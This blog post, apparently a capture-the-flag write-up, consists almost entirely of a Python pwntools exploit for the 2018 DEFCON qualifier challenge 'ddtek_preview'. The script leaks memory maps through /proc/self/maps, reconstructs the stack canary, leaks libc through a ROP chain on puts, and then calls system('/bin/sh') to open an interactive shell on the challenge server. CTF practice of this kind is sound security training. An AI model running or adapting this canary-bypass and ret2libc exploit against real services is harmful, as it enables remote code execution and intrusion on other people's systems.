2018 DEFCON_qual ddtek_preview
by St1tch
from pwn import *
#import stitch
def logdebug() : exec( "context.log_level = 'debug'" )
def loginfo() : exec( "context.log_level = 'info'" )
def logerror() : exec( "context.log_level = 'error'" )
send = lambda *pays: [s.send(str(pay)) for pay in pays]
sendline = lambda *pays: [s.sendline(str(pay)) for pay in pays]
sendafter = lambda token, *pays: [s.sendafter(token, str(pay)) for pay in pays]
sendlineafter = lambda token, *pays: [s.sendlineafter(token, str(pay)) for pay in pays]
p64 = lambda *x : flat(*x, word_size=64)
p32 = lambda *x : flat(*x, word_size=32)
padd64 = p64(0xffffffffffffffff)
padd32 = p32(0xffffffff)
pause = lambda x='' : raw_input(log.info('Paused {}'.format(x)))
execmd = lambda cmd : subprocess.check_output(cmd, shell=True)
def pow_hash(challenge, solution):
return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()
def check_pow(challenge, n, solution):
h = pow_hash(challenge, solution)
return (int(h, 16) % (2**n)) == 0
def solve_pow(challenge, n):
candidate = 0
while True:
if check_pow(challenge, n, candidate):
return candidate
candidate += 1
def solver() :
sleep(0.5)
s.sendline('HEAD /proc/self/maps\x00' + 'A'*0x42)
s.recvuntil('preview:\n')
tmp = s.recvline()
if 'ld' in tmp:
ld = int(tmp.split('-')[0], 16)
s.recvline()
s.recvline()
s.recvline()
code = int(s.recvline().split('-')[0], 16)
s.recvline()
bss = int(s.recvline().split('-')[0], 16)
else:
code = int(tmp.split('-')[0], 16)
s.recvline()
bss = int(s.recvline().split('-')[0], 16)
ld = int(s.recvline().split('-')[0], 16)
canary = (code >> 4) | (ld << 24)
s.clean()
log.info('code = {}'.format(hex(code)))
log.info('canary = {}'.format(hex(canary)))
pop_rdi = code + 0x10b3
trigger = code + 0x1046
puts_got = code + 0x202020
puts_plt = code + 0x9e0
pay = 'a'*0x58
pay += p64(canary)
pay += 'b'*8
pay += p64(pop_rdi)
pay += p64(puts_got)
pay += p64(puts_plt)
pay += p64(trigger)
sleep(0.5)
s.sendline(pay)
s.recvuntil('request\n')
libc.address = u64(s.recv(6).ljust(8, '\x00')) - libc.symbols['puts']
if (libc.address < 0) or (hex(libc.address)[-3:] != '000'):
raise
log.info('libc_base = {}'.format(hex(libc.address)))
binsh = list(libc.search('/bin/sh'))[0]
pay = 'a'*0x58
pay += p64(canary)
pay += 'b'*8
pay += p64(pop_rdi)
pay += p64(binsh)
pay += p64(libc.symbols['system'])
s.sendline(pay)
s.interactive()
if __name__ == '__main__' :
prob = 'preview'
if len(sys.argv) == 1:
s = process(prob)
pid = util.proc.pidof(s)[0]
l_base = [s.libs()[d] for d in s.libs() if 'libc' in d][0]
log.info('pid = {}'.format(pid))
log.info('libc_base = {}'.format(hex(l_base)))
libc = ELF([d for d in s.libs().keys() if 'libc' in d][0])
else :
s = remote('cee810fa.quals2018.oooverflow.io', 31337)
libc = ELF('./libc-2.23.so')
chal, _, n = s.recvuntil('Solution').split()[3:6]
print chal, n
res = solve_pow(chal, int(n))
s.sendline(str(res))
pause()
solver()
블로그의 정보
튜기's blogg(st1tch)
St1tch